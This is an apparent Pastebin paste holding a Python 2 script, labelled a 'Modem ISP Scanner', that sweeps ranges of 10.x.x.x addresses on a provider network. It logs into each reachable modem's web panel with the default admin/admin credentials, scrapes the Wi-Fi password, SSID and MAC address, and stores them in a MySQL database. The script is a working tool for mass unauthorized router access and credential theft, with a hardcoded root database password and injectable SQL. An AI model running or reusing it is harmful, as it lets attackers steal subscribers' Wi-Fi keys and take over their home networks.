Advertisement
Guest User

ISP Fuck

a guest
Apr 6th, 2017
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.55 KB | None | 0 0
  1. import urllib2
  2. import os
  3. import pyping
  4. import requests
  5. import MySQLdb
  6. database_name="wifi_az"
  7. table_name="modemler"
  8. def yuklu(ipv4):
  9. try:
  10. response = requests.head("http://"+ipv4, timeout=5)
  11. return True
  12. except:
  13. return False
  14. def ip_yoxla(ipv4):
  15. status = pyping.ping(ipv4,100,1,2)
  16. return status.ret_code
  17.  
  18. def logyaz(ssid,kod,mac):
  19. if mac == "":
  20. mac="Mac Oxunmayib"
  21. db = MySQLdb.connect(host="localhost", user="root", passwd="19960812",db=database_name)
  22. cursor = db.cursor()
  23. cursor.execute("select ssid from "+table_name+" where mac = '"+mac+"';")
  24. ssi=""
  25. for row in cursor.fetchall():
  26. ssi=row[0]
  27. if ssi != ssid:
  28. cursor1 = db.cursor()
  29. cursor1.execute('insert into '+table_name+'(ssid,pass,mac) values("' + ssid + '","' + kod + '","' + mac + '");');
  30. db.commit()
  31. else:
  32. print "[*] Bele SSID var"
  33.  
  34. def getSSidPassword(ip,parol):
  35. password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
  36. username = 'admin'
  37. password = parol
  38. top_level_url = "http://"+ip+"/"
  39. password_mgr.add_password(None, top_level_url, username, password)
  40. handler = urllib2.HTTPBasicAuthHandler(password_mgr)
  41. opener = urllib2.build_opener(handler)
  42. opener.addheaders = [('User-Agent', 'Mozilla/5.0')]
  43. opener.open('http://'+ip+'/navigation-basic.html')
  44. urllib2.install_opener(opener)
  45. response = urllib2.urlopen("http://"+ip+"/basic/home_wlan.htm")
  46. page = response.read()
  47. print "[*] Paneldedi ..."
  48. req = urllib2.Request('http://'+ip+'/basic/home_wlan.htm')
  49. response = urllib2.urlopen(req)
  50. the_page = response.read()
  51. print "[*] Index Axtarir.. "
  52. kod_id_bas='<INPUT TYPE="TEXT" NAME="PreSharedKey" SIZE="48" MAXLENGTH="64" VALUE="'
  53. kod_id_son='" onBlur="wpapskCheck()"><font color="#000000">'
  54. kod_id_1=0
  55. kod_id_2=0
  56. for i in range(0,len(the_page)):
  57. if the_page[i:i+len(kod_id_bas)] == kod_id_bas:
  58. kod_id_1=i+len(kod_id_bas)
  59. break
  60. for j in range(i,len(the_page)):
  61. if the_page[j:j+len(kod_id_son)] == kod_id_son:
  62. kod_id_2=j
  63. break
  64. kod=the_page[kod_id_1:kod_id_2]
  65. ssid_id_bas='<INPUT TYPE="TEXT" NAME="ESSID" SIZE="32" MAXLENGTH="32" VALUE="'
  66. ssid_id_son='"></td></tr><tr>'
  67. ssid_id_1=0
  68. ssid_id_2=0
  69. for j in range(0,len(the_page)):
  70. if the_page[j:j+len(ssid_id_bas)] == ssid_id_bas:
  71. ssid_id_1=j+len(ssid_id_bas)
  72. break
  73. for k in range(j,len(the_page)):
  74. if the_page[k:k+len(ssid_id_son)] == ssid_id_son:
  75. ssid_id_2=k
  76. break
  77. ssid=the_page[ssid_id_1:ssid_id_2]
  78. response = urllib2.urlopen("http://" + ip + "/navigation-status.html")
  79. page = response.read()
  80. req = urllib2.Request('http://' + ip + '/status/status_deviceinfo.htm')
  81. response = urllib2.urlopen(req)
  82. the_page = response.read()
  83. #print the_page
  84. mac_id_bas = '<font color="#000000">MAC Address</font></div></td><td class="tabdata"><div align=center>:</div></td><td class="tabdata">'
  85. mac_id_son = '</td></tr><tr>'
  86. mac_id_1 = 0
  87. mac_id_2 = 0
  88. # print the_page[kod_id_1:kod_id_2]
  89. for l in range(0, len(the_page)):
  90. if the_page[l:l + len(mac_id_bas)] == mac_id_bas:
  91. mac_id_1 = l + len(mac_id_bas)
  92. break
  93. for z in range(l, len(the_page)):
  94. if the_page[z:z + len(mac_id_son)] == mac_id_son:
  95. mac_id_2 = z
  96. break
  97. mac= the_page[mac_id_1+1:mac_id_2]
  98. print "\n[*] SSid: " + ssid
  99. print "[*] Parol: " + kod
  100. print "[*] MAC: "+mac.upper()+"\n"
  101. logyaz(ssid,kod,mac.upper())
  102.  
  103.  
  104. if __name__ == '__main__':
  105. os.system("color 2")
  106. print "[!] Modem ISP Scanner developed mr: m00nkrus"
  107. ip_v1=int(raw_input("[*] range: "))
  108. i=ip_v1
  109. while True:
  110. for i in range(ip_v1,ip_v1+30):
  111. for j in range(125,256):
  112. for k in range(0, 256):
  113. ip = "10." + str(i) + "." + str(j) + "." + str(k)
  114. print "[!] IP: " + ip
  115. if ip_yoxla(ip) == 0:
  116. if yuklu(ip) == True:
  117. try:
  118. getSSidPassword(ip,"admin")
  119.  
  120. except urllib2.HTTPError:
  121. print "[*] Parol Ferqlidir ..."
  122. except:
  123. print "[*] Sehv ..."
  124. else:
  125. print "[*] Yukludur ..."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement